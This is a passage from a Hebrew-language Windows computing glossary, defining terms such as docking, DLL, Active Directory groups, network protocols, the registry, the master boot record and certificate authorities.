‫מחייב בדרך כלל את הלקוח עבור השימוש בחיבור בתשלום חודשי או לפי שעה ‪.‬‬

‫ראה גם‪ :‬שרת אינטרנט‬

‫ספריה‬

‫מערכת אחסון נתונים המנוהלת בדרך כלל על‪-‬ידי אחסון נשלף‪ .‬ספריה מורכבת מאמצעי אחסון‬
‫נשלפים (כגון קלטות או דיסקים) והתקן חומרה בעל אפשרות לקרוא את אמצעי האחסון או‬
‫לכתוב עליו‪ .‬קיימים שני סוגים עיקריים של ספריות‪ :‬ספריות רובוטיות (התקנים אוטומטיים‬
‫מרובי כוננים ואמצעי אחסון) וספריות כונן עצמאיות (התקנים בעלי כונן יחיד המופעלים באופן‬
‫ידני)‪ .‬ספריה רובוטית מכונה גם פטיפון אוטומטי או ‪.Changer‬‬

‫ראה גם‪ :‬אחסון נשלף‬

‫ספריית קישור דינאמי )‪(DLL‬‬

‫תכונה של מערכת ההפעלה המאפשרת אחסון נפרד של רוטינות ניתנות להפעלה (שבדרך כלל‬
‫משרתות פעולה ספציפית או קבוצת פעולות) כקבצים בעלי סיומת ‪ .dll‬רוטינות אלו נטענות רק‬
‫כאשר התוכנית הקוראת להן זקוקה להן‪.‬‬

‫ראה גם‪Resource DLL :‬‬

‫סרגל כלים‬

‫בתוכנית בממשק משתמש גרפי‪ ,‬שורה‪ ,‬עמודה או בלוק של לחצנים או סמלים על המסך‪.‬‬
‫בעקבות לחיצה‪ ,‬לחצנים או סמלים אלה מפעילים פונקציות מסוימות‪ ,‬או משימות‪ ,‬של התוכנית‪.‬‬
‫לדוגמה‪ ,‬סרגל הכלים ב‪ MIcrosoft Word -‬כולל בין השאר לחצנים לשינוי טקסט לנטוי או‬
‫מודגש‪ ,‬ולשמירה או לפתיחה של מסמך‪ .‬משתמשים יכולים לעיתים קרובות להתאים אישית‬
‫סרגלי כלים ולהזיז אותם לאורך ולרוחב המסך‪.‬‬

‫ע‬
‫עגינה‬

‫חיבור מחשב נייד או נישא לתחנת עגינה‪.‬‬

‫ראה גם‪ :‬ביטול עגינה; עגינה חמה; תחנת עגינה‬

‫עגינה חמה‬

‫תהליך חיבור מחשב נישא לתחנת עגינה בשעה שהמחשב פועל‪ ,‬והפעלה אוטומטית של צג‬
‫הווידאו ופעולות אחרות של תחנת העגינה‪.‬‬

‫ראה גם‪ :‬ביטול עגינה; עגינה; תחנת עגינה‬

‫‪471‬‬
‫עדיפות מחשב מארח‬

‫באיזון עומס ברשת‪ ,‬הקדימות של מחשב מארח לטיפול בתעבורת רשת המהווה ברירת מחדל‬
‫של יציאות ‪ TCP‬ו‪ .UDP -‬נעשה בה שימוש כאשר מחשב מארח בתוך האשכול עובר למצב לא‬
‫מקוון‪ ,‬והיא קובעת איזה מחשב מארח באשכול יקבל את האחריות על התעבורה שטופלה קודם‬
‫לכן על‪-‬ידי המחשב המארח שכעת נמצא במצב לא מקוון‪.‬‬

‫ראה גם‪ :‬מחשב מארח‬

‫עומק צבע‬

‫מספר הצבעים בכל פיקסל הנתמך על‪-‬ידי הצג והמתאם הגרפי‪.‬‬

‫עותק משוכפל‬

‫תיקיה בקבוצת עותקים משוכפלים‪.‬‬

‫ראה גם‪ :‬קבוצת עותקים משוכפלים‬

‫עץ מסוף‬

‫החלונית הימנית ב‪ )MMC( Microsoft Management Console -‬המציגה את הפריטים‬


‫שהמסוף מכיל‪ .‬כברירת מחדל זוהי החלונית הימנית בחלון מסוף‪ ,‬אך היא עשויה להיות‬
‫מוסתרת‪ .‬הפריטים בעץ המסוף והארגון ההירארכי שלהם קובעים את יכולותיו של המסוף‪.‬‬

‫עץ קבוצות מחשבים‬

‫ב‪ ,DNS -‬מבנה העץ ההירארכי ההפוך המשמש ליצירת אינדקס של שמות קבוצות מחשבים‪.‬‬
‫עצי קבוצות מחשבים דומים במטרה ובתפיסה לעצי ההירארכיה שבהם עושות שימוש מערכות‬
‫קבצי מחשבים עבור אחסון דיסקים‪.‬‬

‫לדוגמה‪ ,‬כאשר קבצים רבים מאוחסנים בדיסק‪ ,‬ניתן להשתמש בספריות לשם ארגון הקבצים‬
‫באוספים לוגיים‪ .‬כאשר לעץ קבוצות מחשבים יש ענף אחד או יותר‪ ,‬לכל ענף יש אפשרות לסדר‬
‫שמות קבוצות מחשבים בטווח השמות באוספים לוגיים‪.‬‬

‫ב‪ ,Active Directory -‬מבנה הירארכי של קבוצת מחשבים אחת או יותר המחוברות באמצעות‬
‫יחסי אמון טרנזיטיביים דו‪-‬כיווניים‪ ,‬המהווה טווח שמות רציף‪ .‬יער אחד יכול להכיל עצי קבוצות‬
‫מחשבים מרובים‪.‬‬

‫ראה גם‪ ;)DNS( Domain Name System ;Active Directory :‬טווח שמות; קבוצת‬
‫מחשבים; שם קבוצת מחשבים‬

‫ערוץ‬

‫נתיב או קישור שבאמצעותו מידע לא מבוקר עובר בין שני התקנים‪ .‬לחיבור ‪Basic Rate‬‬
‫‪ ,)BRI( Interface‬לדוגמה‪ ,‬יש חיבור פיזי אחד אך שני ערוצים להחלפת מידע בין התקנים‪.‬‬
‫תופעה זו נקראת בדרך כלל ערוץ העברה‪ ,‬כלומר ערוץ המעביר מידע‪.‬‬

‫‪472‬‬
‫באינטרנט‪ ,‬אתר המיועד להעברת תוכן מהאינטרנט למחשב שלך‪ ,‬בדומה ליצירת מנוי לאתר‬
‫אינטרנט מועדף‪.‬‬

‫ראה גם‪ :‬תוכן פעיל‬

‫ערכת צריכת חשמל‬

‫קבוצת אפשרויות של ניהול צריכת חשמל שהוגדרו מראש‪ .‬לדוגמה‪ ,‬באפשרותך להגדיר זמני‬
‫יעד להצבת המחשב בהמתנה ולכיבוי הצג והדיסק הקשיח‪ .‬הגדרות אלה נשמרות כערכת צריכת‬
‫חשמל נקובה‪.‬‬

‫פ‬
‫פיצול‬

‫פיזור חלקים של אותו קובץ דיסק באזורים שונים בדיסק‪ .‬הפיצול מתרחש בעקבות מחיקת‬
‫קבצים הקיימים בדיסק והוספת קבצים חדשים‪ .‬הוא מאט את הגישה לדיסק ופוגם בביצועים של‬
‫פעולות המחשב בכללותם‪ ,‬אך במרבית המקרים לא בצורה חמורה‪.‬‬

‫ראה גם‪ :‬איחוי‬

‫פיקסל‬

‫קיצור של רכיב תמונה (‪ ,)picture element‬נקודה אחת ברשת קווים ישרים של אלפי נקודות‬
‫דומות המרכיבות תמונה שנוצרת על המסך באמצעות מחשב או על נייר באמצעות מדפסת‪.‬‬
‫פיקסל הינו הרכיב הקטן ביותר שלחומרה ותוכנה להצגה או להדפסה יש אפשרות לטפל בו לשם‬
‫יצירת מכתבים‪ ,‬מספרים או גרפיקה‪ .‬פיקסל קרוי גם ‪.pel‬‬

‫ראה גם‪ :‬רזולוציית מסך‬

‫פס כותרת‬

‫הפס האופקי בחלק העליון של חלון המכיל את שם החלון‪ .‬בחלונות רבים‪ ,‬פס הכותרת מכיל גם‬
‫את סמל התוכנית‪ ,‬את הלחצנים הגדל‪ ,‬מזער וסגור ואת לחצן ? האופציונלי עבור עזרה תלוית‬
‫הקשר‪ .‬לשם הצגת תפריט עם פקודות כגון שחזר והזז‪ ,‬לחץ באמצעות לחצן העכבר הימני על‬
‫פס הכותרת‪.‬‬

‫ראה גם‪ :‬הגדלה; מזעור‬

‫פסיקה‬

‫בקשה לקבלת תשומת לב מהמעבד‪ .‬כאשר המעבד מקבל פסיקה‪ ,‬הוא משהה את הפעולות‬
‫הנוכחיות שלו‪ ,‬שומר את מצב עבודתו ומעביר את השליטה לרוטינה מיוחדת הידועה בשם מטפל‬
‫הפסיקות‪ ,‬המכילה את ההוראות להתמודדות עם המצב המסוים שגרם לפסיקה‪.‬‬

‫‪473‬‬
‫פעיל‬

‫מתאר את החלון או הסמל שבו אתה משתמש כעת או שנבחר כעת‪ .‬מערכת ההפעלה מחילה‬
‫תמיד את ההקשה או הפקודה הבאה שתיבחר על החלון הפעיל‪ .‬חלונות או סמלים בשולחן‬
‫העבודה שלא נבחרו אינם פעילים‪.‬‬

‫ראה גם‪ :‬ערוץ‬

‫פרוטוקול‬

‫מערכת כללים ומוסכמות לשליחת מידע ברשת‪ .‬כללים אלה מפקחים על התוכן‪ ,‬התבנית‪,‬‬
‫התזמון‪ ,‬קביעת הרצף ובקרת השגיאות של הודעות המוחלפות בין התקני רשת‪.‬‬

‫ראה גם‪)TCP/IP( Transmission Control Protocol/Internet Protocol :‬‬

‫פרוטוקול אינטרנט )‪(IP‬‬

‫פרוטוקול הניתן לניתוב וכלול בחבילת הפרוטוקולים ‪ ,TCP/IP‬האחראי על הוספת כתובות ‪,IP‬‬
‫ניתוב ופיצול ואיחוי מחדש של מנות ‪.IP‬‬

‫ראה גם‪ ;)TCP/IP( Transmission Control Protocol/Internet Protocol :‬מנה‬

‫פרוטוקול העברת היפר‪-‬טקסט )‪(HTTP‬‬

‫הפרוטוקול המשמש להעברת מידע ב‪ .World Wide Web -‬כתובת ‪( HTTP‬סוג אחד של‬
‫‪ )[URL] Uniform Resource Locator‬מקבלת את הצורה הבאה‪:‬‬
‫‪.http://www.microsoft.com‬‬

‫פרוטוקול העברת קבצים )‪(FTP‬‬

‫חבר בחבילת הפרוטוקולים ‪ ,TCP/IP‬המשמש להעתקת קבצים בין שני מחשבים באינטרנט‪ .‬על‬
‫שני המחשבים לתמוך בתפקידי ‪ FTP‬שלהם בהתאמה‪ :‬על האחד להיות לקוח ‪ FTP‬ועל השני‬
‫להיות שרת ‪.FTP‬‬

‫ראה גם‪)TCP/IP( Transmission Control Protocol/Internet Protocol :‬‬

‫פרוטוקול ניהול קבוצת אינטרנט )‪(IGMP‬‬

‫פרוטוקול הנמצא בשימוש מחשבים מארחים מסוג ‪ IP‬לשם דיווח על החברות בקבוצות השידור‬
‫לקבוצות שלהם לכל נתבי השידור לקבוצות השכנים הקרובים‪.‬‬

‫ראה גם‪ :‬פרוטוקול; שידור לקבוצות בפרוטוקול אינטרנט‬

‫פרוטוקול רשת‬

‫השפה בה מחשב משתמש לשם קיום תקשורת ברשת‪ .‬על מחשבים להשתמש באותו פרוטוקול‬
‫כדי לקיים תקשורת זה עם זה‪.‬‬

‫‪474‬‬
‫פרופיל חומרה‬

‫נתונים המתארים את התצורה והמאפיינים של ציוד מחשב ספציפי‪ .‬מידע זה עשוי לשמש‬
‫להגדרת התצורה של מחשבים לשימוש בהתקנים היקפיים‪.‬‬

‫ראה גם‪ :‬התקן‬

‫פרופיל משתמש‬

‫קובץ המכיל מידע תצורה עבור משתמש ספציפי‪ ,‬כגון הגדרות שולחן עבודה‪ ,‬חיבורי רשת‬
‫קבועים והגדרות יישום‪ .‬ההעדפות של כל משתמש נשמרות לפרופיל משתמש המשמש את‬
‫‪ Windows‬לקביעת התצורה של שולחן העבודה בכל פעם בה משתמש נכנס‪.‬‬

‫פרופיל צבע‬

‫פרופיל המכיל את הנתונים הנחוצים לתרגום הערכים של מכלול צבעים‪ .‬נתונים אלה כוללים‬
‫מידע אודות צבע‪ ,‬גוון‪ ,‬רוויה ובהירות‪.‬‬

‫ראה גם‪ :‬גוון; מכלול הצבעים; רוויה‬

‫פריסת לוח מקשים‬

‫הסידור המכיל את התווים המיוחדים והסימנים המשמשים בשפות שונות‪ .‬פריסות לוח מקשים‬
‫משפיעות על בחירת התווים שיופיעו בעת הקשה על מקשים בלוח המקשים שלך‪ .‬לאחר שינוי‬
‫פריסת לוח המקשים‪ ,‬ייתכן כי התווים המופיעים על המסך לא יהיו תואמים לתווים המודפסים‬
‫על מקשי לוח המקשים‪.‬‬

‫צ‬
‫צורת גופן‬

‫קבוצת תווים בעלי מאפיינים משותפים‪ ,‬כגון רוחב משיכת הקו של האות והימצאותם או אי‪-‬‬
‫הימצאותם של ‪( serif‬קווים קצרים בקצה העליון והתחתון של תווים)‪.‬‬

‫ציוד היקפי‬

‫התקן כגון כונן דיסקים‪ ,‬מדפסת‪ ,‬מודם או ג'ויסטיק המחובר למחשב ונשלט באמצעות המיקרו‪-‬‬
‫מעבד של המחשב‪.‬‬

‫ראה גם‪ :‬התקן‬

‫ק‬
‫קבוצה‬

‫אוסף של משתמשים‪ ,‬מחשבים‪ ,‬אנשי קשר וקבוצות אחרות‪ .‬ניתן להשתמש בקבוצות כאבטחה‬
‫או כרשימות תפוצה של דואר אלקטרוני‪ .‬קבוצות תפוצה משמשות רק עבור דואר אלקטרוני‪.‬‬
‫קבוצות אבטחה משמשות הן לשם הענקת גישה למשאבים והן כרשימות תפוצה של דואר‬
‫אלקטרוני‪.‬‬

‫‪475‬‬
‫ראה גם‪ :‬קבוצה כללית; קבוצה מקומית; קבוצת מחשבים‬

‫קבוצה אוניברסלית‬

‫קבוצת אבטחה או הפצה שניתן להשתמש בה בכל מקום בעץ או ביער של קבוצת מחשבים‪.‬‬
‫לקבוצה אוניברסלית יכולים להשתייך חברים מכל קבוצת מחשבים של ‪ Windows‬בעץ או‬
‫ביער של קבוצת המחשבים‪ .‬היא עשויה לכלול גם קבוצות אוניברסליות אחרות‪ ,‬קבוצות כלליות‬
‫וחשבונות מכל קבוצת מחשבים בעץ או ביער של קבוצת המחשבים‪ .‬על זכויות והרשאות להיות‬
‫מוקצות לפי קבוצת מחשבים‪ ,‬אך ניתן להקצות אותן בכל קבוצת מחשבים בעץ או ביער של‬
‫קבוצת המחשבים‪.‬‬

‫קבוצות אוניברסליות עשויות להיות חברות בקבוצות מקומיות של קבוצת מחשבים ובקבוצות‬
‫אוניברסליות אחרות‪ ,‬אך אין באפשרותן להיות חברות בקבוצות כלליות‪ .‬קבוצות אוניברסליות‬
‫מופיעות בקטלוג הכללי ועליהן להכיל בעיקר קבוצות כלליות‪.‬‬

‫ראה גם‪ :‬עץ קבוצות מחשבים; קבוצה כללית; קבוצה מקומית בקבוצת המחשבים; קבוצת‬
‫אבטחה; קבוצת מחשבים‬

‫קבוצה כללית‬

‫קבוצת אבטחה או תפוצה שעשויה להכיל משתמשים‪ ,‬קבוצות ומחשבים מקבוצת המחשבים שלה‬
‫כחברים‪ .‬ניתן להעניק לקבוצות אבטחה כלליות זכויות והרשאות למשאבים בכל קבוצת מחשבים‬
‫ביער‪ .‬לא ניתן ליצור קבוצות כלליות או לתחזק אותן במחשבים בהם פועל ‪Windows XP‬‬
‫‪ .Professional‬עם זאת‪ ,‬עבור מחשבים בהם פועל ‪ Windows XP Professional‬המשתתפים‬
‫בקבוצת מחשבים‪ ,‬ניתן להעניק לקבוצות כלליות של קבוצות מחשבים זכויות והרשאות באותן‬
‫תחנות עבודה והם עשויים להפוך חברים בקבוצות מקומיות באותן תחנות עבודה‪.‬‬

‫ראה גם‪ :‬הרשאה; חשבון משתמש; קבוצה; קבוצה מקומית‬

‫קבוצה מקומית‬

‫במחשבים שבהם פועל ‪ Windows‬ושרתים עמיתים‪ ,‬קבוצה שלה ניתן להעניק הרשאות וזכויות‬
‫מהמחשב שלה (אם המחשב משתתף בקבוצת מחשבים)‪ ,‬ומחשבונות משתמשים ומקבוצות‬
‫כלליות הן מקבוצת המחשבים שלה עצמה והן מקבוצות מחשבים מהימנות‪.‬‬

‫ראה גם‪ :‬חשבון משתמש; קבוצה כללית‬

‫קבוצה מקומית בקבוצת המחשבים‬

‫קבוצת אבטחה או תפוצה בעלת אפשרות להכיל קבוצות אוניברסליות‪ ,‬קבוצות כלליות‬
‫וחשבונות מכל קבוצת מחשבים בעץ או ביער קבוצות המחשבים‪ .‬קבוצה מקומית של קבוצת‬
‫מחשבים יכולה להכיל גם קבוצות מקומיות אחרות מקבוצת המחשבים שלה‪ .‬ניתן להקצות‬
‫זכויות והרשאות רק בקבוצת המחשבים המכילה את הקבוצה‪.‬‬

‫ראה גם‪ :‬עץ קבוצות מחשבים; קבוצה אוניברסלית; קבוצה כללית; קבוצת אבטחה‬

‫‪476‬‬
‫קבוצות משותפות‬

‫קבוצות המופיעות ברשימת התוכניות בתפריט התחלה עבור כל המשתמשים המבצעים כניסה‬
‫למחשב‪ .‬רק למנהלי מערכת יש אפשרות ליצור או לשנות קבוצות משותפות‪.‬‬

‫ראה גם‪ :‬קבוצה‬

‫קבוצת אבטחה‬

‫קבוצה שניתן לפרטה ברשימות בקרת גישה על‪-‬פי שיקול דעת (‪ )DACLs‬ומשמשת להגדרת‬
‫הרשאות במשאבים ובאובייקטים‪ .‬קבוצת אבטחה עשויה לשמש גם כישות דואר אלקטרוני‪.‬‬
‫שליחת הודעת דואר אלקטרוני לקבוצה מביאה לשליחת ההודעה לכל חברי הקבוצה‪.‬‬

‫קבוצת מחשבים‬

‫קבוצת מחשבים המהווים חלק מרשת‪ ,‬שלהם מסד נתוני ספריה משותף‪ .‬קבוצת מחשבים‬
‫מנוהלת כיחידה באמצעות כללים ונהלים משותפים‪ .‬לכל קבוצת מחשבים יש שם ייחודי‪.‬‬

‫קבוצת מחשבים של ‪ Active Directory‬היא אוסף של מחשבים שהוגדר על‪-‬ידי מנהל רשת‬
‫‪ .Windows‬למחשבים אלו יש מסד נתוני ספריה משותף‪ ,‬מדיניות אבטחה ויחסי אבטחה עם‬
‫קבוצות מחשבים אחרות‪ .‬קבוצת מחשבים של ‪ Active Directory‬מספקת גישה אל חשבונות‬
‫המשתמש וחשבונות הקבוצות המרוכזים‪ ,‬המתוחזקים על‪-‬ידי מנהל קבוצת המחשבים‪ .‬יער של‬
‫‪ Active Directory‬מורכב מקבוצת מחשבים אחת או יותר כאשר כל קבוצה עשויה להתפרס‬
‫על יותר ממיקום פיזי אחד‪.‬‬

‫קבוצת מחשבים של ‪ DNS‬היא כל עץ או עץ משנה בתוך טווח השמות של ‪ .DNS‬אף כי‬


‫השמות עבור קבוצות מחשבים של ‪ DNS‬תואמים לרוב לקבוצות המחשבים של ‪Active‬‬
‫‪ ,Directory‬אין לבלבל בין קבוצות מחשבים של ‪ DNS‬לבין קבוצות מחשבים של ‪Active‬‬
‫‪.Directory‬‬
‫ראה גם‪)DNS( Domain Name System ;Active Directory :‬‬

‫קבוצת מחשבים של משאב‬

‫קבוצת מחשבים של ‪ Windows NT 4.0‬המשמשת לאירוח שירותי קבצים‪ ,‬שירותי הדפסה‬


‫ושירותי יישום אחרים‪.‬‬

‫ראה גם‪ :‬קבוצת מחשבים; שירות‬

‫קבוצת עבודה‬

‫קיבוץ פשוט של מחשבים‪ ,‬שנועד רק לסייע למשתמשים לאתר מדפסות ותיקיות משותפות‪,‬‬
‫לדוגמה‪ ,‬בתוך קבוצה זו‪ .‬קבוצות עבודה ב‪ Windows -‬אינן מציעות את חשבונות המשתמש‬
‫והאימות הממורכזים המוצעים בקבוצות מחשבים‪.‬‬

‫ראה גם‪ :‬אימות; חשבון משתמש; קבוצת מחשבים‬

‫קבוצת עותקים משוכפלים‬

‫תיקיה משותפת אחת או יותר המשתתפת בשכפול‪.‬‬

‫‪477‬‬
‫ראה גם‪ :‬שכפול‬

‫קובץ‬

‫אוסף מידע שלם ובעל שם‪ ,‬כגון תוכנית‪ ,‬ערכת נתונים המשמשים תוכנית או מסמך שנוצר על‪-‬‬
‫ידי משתמש‪ .‬קובץ הוא יחידת האחסון הבסיסית המאפשרת למחשב להבדיל בין ערכת מידע‬
‫אחת לאחרת‪ .‬זהו אוסף של נתונים שהמשתמש יכול לאחזר‪ ,‬לשנות‪ ,‬למחוק‪ ,‬לשמור או לשלוח‬
‫להתקן פלט‪ ,‬כגון מדפסת או תוכנית דואר אלקטרוני‪.‬‬

‫קובץ ‪Script‬‬

‫קובץ ‪ Script‬מכיל פקודות‪ ,‬פרמטרים וביטויים של ‪ Scripting‬המספקים מידע למחשב המרוחק‬


‫אליו אתה מחובר ומאחזרים ממנו מידע‪ .‬מידע זה כולל את שם המשתמש והסיסמה שלך‪ ,‬מידע‬
‫אודות יציאות‪ ,‬החזרות גררה (‪ ,)CR‬הזנות שורה (‪ )LF‬והשהיות‪.‬‬

‫קובץ החלפה‬

‫קובץ מוסתר בדיסק הקשיח המשמש את ‪ Windows‬להחזקת חלקים של תוכניות וקבצי נתונים‬
‫שאינם נכנסים לזיכרון‪ .‬קובץ ההחלפה והזיכרון הפיזי‪ ,‬או ‪ ,RAM‬מרכיבים את הזיכרון‬
‫הווירטואלי‪ Windows .‬מעביר נתונים מקובץ ההחלפה לזיכרון בהתאם לצורך ומעביר נתונים‬
‫מהזיכרון לקובץ ההחלפה כדי לפנות מקום לנתונים חדשים‪.‬‬

‫ראה גם‪ :‬זיכרון וירטואלי; שימוש שיא בזיכרון‬

‫קובץ זמני‬

‫קובץ שנוצר בעקבות גרירה של חלק ממסמך אל שולחן העבודה‪.‬‬

‫קובץ יומן רישום‬

‫קובץ המאחסן הודעות שנוצרו על‪-‬ידי יישום‪ ,‬שירות או מערכת הפעלה‪ .‬הודעות אלו משמשות‬
‫למעקב אחר הפעולות שבוצעו‪ .‬לדוגמה‪ ,‬שרתי אינטרנט מחזיקים בקבצי יומן רישום הכוללים‬
‫כל בקשה שנשלחה לשרת‪ .‬קבצי יומן רישום הם בדרך כלל קבצי טקסט רגיל (‪ )ASCII‬ולרוב‬
‫סיומת הקובץ שלהם היא ‪.log‬‬

‫בגיבוי‪ ,‬קובץ המכיל רשומה של התאריך שבו נוצרו הקלטות והשמות של הקבצים והספריות‬
‫שגובו ושוחזרו בהצלחה‪ .‬גם שירות יומני רישום והתראות של ביצועים יוצר קבצי יומן רישום‪.‬‬

‫ראה גם‪ ;)ASCII( American Standard Code for Information Interchange :‬שירות‬

‫קובץ מידע של תוכנית )‪(PIF‬‬

‫קובץ המספק ל‪ Windows -‬מידע אודות האופן המיטבי להפעלת תוכניות המבוססות על ‪MS-‬‬
‫‪ .DOS‬בעת הפעלת תוכנית המבוססת על ‪ Windows ,MS-DOS‬מחפש קובץ ‪ PIF‬להשתמש‬
‫בו איתה‪ .‬קבצי ‪ PIF‬מכילים פריטים כגון שם הקובץ‪ ,‬ספריה התחלתית ואפשרויות ריבוי‬
‫משימות‪.‬‬

‫ראה גם‪ :‬תוכנית מבוססת ‪MS-DOS‬‬

‫‪478‬‬
‫קובץ מיותם‬

‫קובץ המאוחסן ב'מזוודה שלי' ואינו מקושר לאף קובץ מחוץ ל'מזוודה שלי'‪ .‬בעת עדכון קבצים‪,‬‬
‫הקובץ המיותם אינו מסוכנרן עם אף קובץ אחר‪.‬‬

‫קובץ צליל‬

‫קובץ צליל מכיל מידע המשמש את ‪ Windows‬להשמעת צלילים במחשב‪ .‬קבצי צליל הם בעלי‬
‫סיומת ‪.wav‬‬

‫קורא כרטיס חכם‬

‫התקן המותקן במחשבים כדי לאפשר שימוש בכרטיסים חכמים עבור תכונות אבטחה משופרות‪.‬‬

‫ראה גם‪ :‬כרטיס חכם‬

‫קילו‪-‬בית )‪(KB‬‬

‫‪ 1,024‬בתים‪ ,‬אף כי לעיתים קרובות יחידה זו מפורשת כ‪ 1,000 -‬בתים‪.‬‬

‫ראה גם‪ :‬ג'יגה‪-‬בית (‪ ;)GB‬מגה‪-‬בית (‪)MB‬‬

‫קיצור דרך‬

‫קישור לפריט כלשהו הנגיש במחשב שלך או ברשת‪ ,‬כגון תוכנית‪ ,‬קובץ‪ ,‬תיקיה‪ ,‬כונן דיסקים‪,‬‬
‫דף אינטרנט‪ ,‬מדפסת או מחשב אחר‪ .‬באפשרותך להציב קיצורי דרך באזורים שונים‪ ,‬כגון‬
‫בשולחן העבודה‪ ,‬בתפריט התחלה או בתיקיות ספציפיות‪.‬‬

‫ראה גם‪ :‬שולחן עבודה‬

‫קצב שידור‬

‫המהירות שבה המודם מקיים תקשורת‪ .‬קצב השידור מתייחס למספר הפעמים שמצב הקו‬
‫משתנה‪ .‬מספר זה זהה למספר הסיביות בשניה רק אם כל אות תואם לסיבית אחת של נתונים‬
‫ששודרו‪.‬‬

‫על מודמים לפעול באותו קצב שידור על מנת לקיים תקשורת ביניהם‪ .‬אם קצב השידור של‬
‫מודם אחד מוגדר כגבוה מקצב השידור של המודם האחר‪ ,‬המודם המהיר יותר משנה בדרך כלל‬
‫את קצב השידור שלו כך שיתאים לקצב השידור של המודם האיטי‪.‬‬

‫ראה גם‪ :‬מודם (‪ = modulator/demodulator‬מאפנן‪/‬ממצה אפנון); סיביות בשניה (‪)bps‬‬

‫קריפטוגרפיה באמצעות מפתח ציבורי‬

‫שיטת קריפטוגרפיה בה נעשה שימוש בשני מפתחות שונים‪ :‬מפתח ציבורי להצפנת נתונים‬
‫ומפתח פרטי לפענוח נתונים‪ .‬קריפטוגרפיה באמצעות מפתח ציבורי קרויה גם קריפטוגרפיה‬
‫אסימטרית‪.‬‬

‫ראה גם‪ :‬מפתח פרטי‬

‫‪479‬‬
‫ר‬
‫רוויה‬

‫בניהול צבעים‪ ,‬הטוהר של גוון של צבע‪ ,‬הנע מאפור לצבע הטהור‪.‬‬

‫ראה גם‪ :‬גוון‬

‫רוחב פס‬

‫בתקשורת אנלוגית‪ ,‬ההבדל בין התדר הגבוה ביותר לתדר הנמוך ביותר בטווח נתון‪ .‬לדוגמה‪ ,‬קו‬
‫טלפון אנלוגי מכיל רוחב פס של ‪ 3,000‬הרץ (‪ ,)Hz‬שהוא ההבדל בין התדר הנמוך ביותר (‪300‬‬
‫‪ )Hz‬לגבוה ביותר (‪ )3,300 Hz‬שבאפשרותו להעביר‪ .‬בתקשורת דיגיטלית‪ ,‬רוחב הפס מתבטא‬
‫בסיביות לשניה (‪.)bps‬‬

‫ראה גם‪ :‬סיביות בשניה (‪)bps‬‬

‫רזולוציית מסך‬

‫ההגדרה הקובעת את כמות המידע המופיעה על המסך שלך‪ ,‬הנמדדת בפיקסלים‪ .‬רזולוציה‬
‫נמוכה‪ ,‬כגון ‪ ,640 x 480‬גורמת לפריטים במסך להיראות גדולים‪ ,‬על אף שאזור המסך קטן‪.‬‬
‫רזולוציה גבוהה‪ ,‬כגון ‪ ,1024 x 768‬הופכת את אזור המסך הכולל לגדול‪ ,‬על אף שפריטים‬
‫בודדים נראים קטנים‪.‬‬

‫ראה גם‪ :‬פיקסל‬

‫רישום‬

‫מאגר של מסד נתונים עבור מידע אודות תצורת מחשב‪ .‬הרישום כולל מידע ש‪Windows -‬‬
‫משתמש בו ללא הרף במהלך פעולה‪ ,‬כגון‪:‬‬

‫•פרופילים עבור כל משתמש‪.‬‬


‫•התוכניות המותקנות במחשב וסוגי המסמכים שניתן ליצור בכל אחת מהן‪.‬‬
‫•הגדרות מאפיינים עבור תיקיות וסמלי תוכניות‪.‬‬
‫•החומרה הקיימת במערכת‪.‬‬
‫•היציאות השימושיות‪.‬‬

‫הרישום מאורגן באופן הירארכי כעץ ומורכב ממפתחות וממפתחות המשנה‪ ,‬הכוורות (‪)Hives‬‬
‫והערכים שלהם‪.‬‬

‫ראה גם‪ :‬כוורת (‪ ;)Hive‬מפתח‬

‫רכיבי ‪ Hub‬מדורגים‬

‫תצורת רשת שבה רכיבי ‪ Hub‬מחוברים לרכיבי ‪ Hub‬אחרים‪.‬‬

‫ראה גם‪Hub :‬‬

‫‪480‬‬
‫רכיבי אלקטרוניקה משולבים בהתקן )‪(IDE‬‬

‫סוג של ממשק כונן דיסקים שבו רכיבי האלקטרוניקה של הבקר שוכנים בכונן עצמו‪ ,‬ובכך‬
‫מבטלים את הצורך בכרטיס מתאם נפרד‪ IDE .‬מציע יתרונות כגון מטמון עם מבט קדימה‬
‫המשפר את הביצועים הכוללים‪.‬‬

‫רקע‬

‫תמונת הרקע של המסך המשמשת בממשק משתמש גרפי כגון ‪ .Windows‬כל תבנית או תמונה‬
‫הניתנת לשמירה כקובץ מפת סיביות (‪ ).bmp‬ניתנת להגדרה כתמונת רקע למסך‪.‬‬

‫רשומת אתחול ראשית )‪(MBR‬‬

‫הסקטור הראשון בדיסק קשיח‪ ,‬המתחיל את תהליך האתחול של המחשב‪ .‬ה‪ MBR -‬כולל את‬
‫טבלת המחיצות של הדיסק וכמות קטנה של קוד הניתן להפעלה המכונה קוד אתחול ראשי‪.‬‬

‫ראה גם‪ :‬מסוף השחזור‬

‫רשות אישורים )‪(CA‬‬

‫ישות האחראית על יצירה וערבה למקוריותם של מפתחות ציבוריים השייכים למשתמשים‬


‫(ישויות קצה) או רשויות אישורים אחרות‪ .‬פעילויות של רשות אישורים עשויות לכלול איגוד‬
‫מפתחות ציבוריים בשמות ייחודיים באמצעות אישורים חתומים‪ ,‬ניהול מספרים סידוריים של‬
‫אישורים וביטול תוקפם של אישורים‪.‬‬

‫ראה גם‪ :‬אישור; רשות בסיס‬

‫רשות בסיס‬

‫רשות האישורים (‪ )CA‬בראש הירארכיית האישורים‪ .‬ל‪ CA -‬הבסיס יש אישור בחתימה‬


‫עצמית‪ .‬היא קרויה גם רשות האישורים המשמשת כבסיס‪.‬‬

‫ראה גם‪ :‬בסיס; הירארכיה של אישורים; רשות אישורים (‪)CA‬‬

‫רשימת ביטול אישורים )‪(CRL‬‬

‫מסמך הנכתב ומפורסם על‪-‬ידי רשות אישורים; מסמך זה מכיל רשימה של אישורים שתוקפם‬
‫בוטל‪.‬‬

‫ראה גם‪ :‬אישור; רשות אישורים (‪)CA‬‬

‫רשת‬

‫קבוצה של מחשבים והתקנים אחרים‪ ,‬כגון מדפסות וסורקים‪ ,‬המחוברים באמצעות קישור של‬
‫תקשורת‪ ,‬שמאפשר לכל ההתקנים לפעול זה עם זה באינטראקציה‪ .‬רשתות יכולות להיות קטנות‬
‫או גדולות‪ ,‬להיות מחוברות באופן קבוע באמצעות כבלים‪ ,‬או להיות מחוברות זמנית באמצעות‬
‫קווי טלפון או שידורים אלחוטיים‪ .‬הרשת הגדולה ביותר היא האינטרנט‪ ,‬שהיא קבוצה כלל‪-‬‬
‫עולמית של רשתות‪.‬‬

‫‪481‬‬
‫ראה גם‪ :‬מתאם רשת‬

‫רשת דיגיטלית של שירותים משולבים )‪(ISDN‬‬
